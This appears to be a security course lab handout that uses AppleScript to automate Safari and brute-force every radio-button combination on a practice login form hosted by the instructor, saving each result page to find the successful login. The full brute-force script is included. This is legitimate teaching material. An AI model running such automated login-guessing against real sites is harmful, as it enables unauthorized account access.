In a browser, go to this URL:
http://computers.tutsplus.com/tutorials/the-ultimate-beginners-guide-to-applescript--mac-3436
Read through the tutorial quickly, without memorizing anything or doing the examples. The point is to find out what AppleScript can do, and get a general idea what it's good for. When you are actually writing scripts, you will need to review sections of this tutorial.
This is a skill you should develop--using a new language. There are many languages, but they are all pretty much the same, with variables, loops, etc.
http://attack.samsclass.info/p4xb-form.htm
First, use the mouse to click one radio button in each row, as shown below, and click Submit.
Unless you are very lucky, you will see an "Access Denied!" message. Click the Back button in your browser to return to the login page.
Notice that the buttons you clicked are still selected here. Click the Refresh button to clear them.
On your keyboard, press the Tab key.
If your Safari is set to the default preferences, the Tab key will highlight the address but not the buttons.
To get to the buttons, press Option+Tab".
In "Row 1", the "A" button is highlighted, as shown below.
On your keyboard, press the Option+Tab key several more times. Watch to see that these items are highlighted, in this order:
Our goal here is to write a script that will try all login combinations, and save the results.
So after each attempt, we need to issue keypresses that will save the source code of the results page, record which login attempt we made, and close the source code window.
We'll use the filename to records the login attempt: "32" (button 3 on first row, button 2 on second row).
To do those actions, press these keys:
On the General tab, in the "Homepage" field, enter:
http://attack.samsclass.info/p4xb-form.htm
as shown below:
Close the Preferences window.
Now the keypress Shift+Command+H goes Home.
# Instructions for Use:
# 1. Open Safari, close all pages with Command+W
# 2. Set Safari home page to http://attack.samsclass.info/p4xb-form.htm
# 3. Create a folder to save files in named "p4x" in your home directory and make sure it is empty.
# 4. Run this script
set m to 1
repeat while m <= 11
set n to 1
repeat while n <= 9
tell application "Safari"
activate
tell application "System Events"
keystroke "h" using {shift down, command down}
delay 3
keystroke tab using {option down}
set num_arrows to m - 1
set i to 1
repeat while i <= num_arrows
key code 124 -- right-arrow
set i to i + 1
end repeat
keystroke space
keystroke tab using {option down}
set num_arrows to n - 1
set i to 1
repeat while i <= num_arrows
key code 124 -- right-arrow
set i to i + 1
end repeat
keystroke space
delay 0.5
keystroke return
delay 3
keystroke "u" using {option down, command down}
delay 1
keystroke "s" using {command down}
delay 0.5
set m_text to m as text
set n_text to n as text
set filename to "~/p4x/" & m_text & "-" & n_text & ".htm"
keystroke filename
delay 0.5
keystroke return
delay 0.5
keystroke return
delay 0.5
keystroke "w" using {command down}
delay 0.5
end tell
end tell
set n to n + 1
end repeat
set m to m + 1
end repeat
When the script works, you should have
a lot of files in a directory with names
"1-1.htm", "1-2.htm", etc., as shown below.
Press the PrintScrn key in the upper-right portion of the keyboard. That will copy the whole desktop to the clipboard.
YOU MUST SUBMIT A FULL-SCREEN IMAGE TO GET FULL CREDIT!
Open Paint and paste in the image.
Save the image with the filename "Your Name Proj 4xa". Use your real name, not the literal text "Your Name".
Double-click the largest pages one by one to find the winning page.
Note: When I did it, there was a file with an abnormally large filesizes, caused by my script running too fast and saving an error page instead of the results page. If you don't find a real "Congratulations" page, you may have to slow down the script and run it again. To slow it down, change the Sleep times to larger values.
When you find the winning page, save a full-desktop image as shown below:
Press the PrintScrn key in the upper-right portion of the keyboard. That will copy the whole desktop to the clipboard.
YOU MUST SUBMIT A FULL-SCREEN IMAGE TO GET FULL CREDIT!
Open Paint and paste in the image.
Save the image with the filename "Your Name Proj 4xb". Use your real name, not the literal text "Your Name".
http://attack.samsclass.info/p4xc-form.htm
Save a full-screen image like this:
Last Modified: 4-21-14 4:47 pm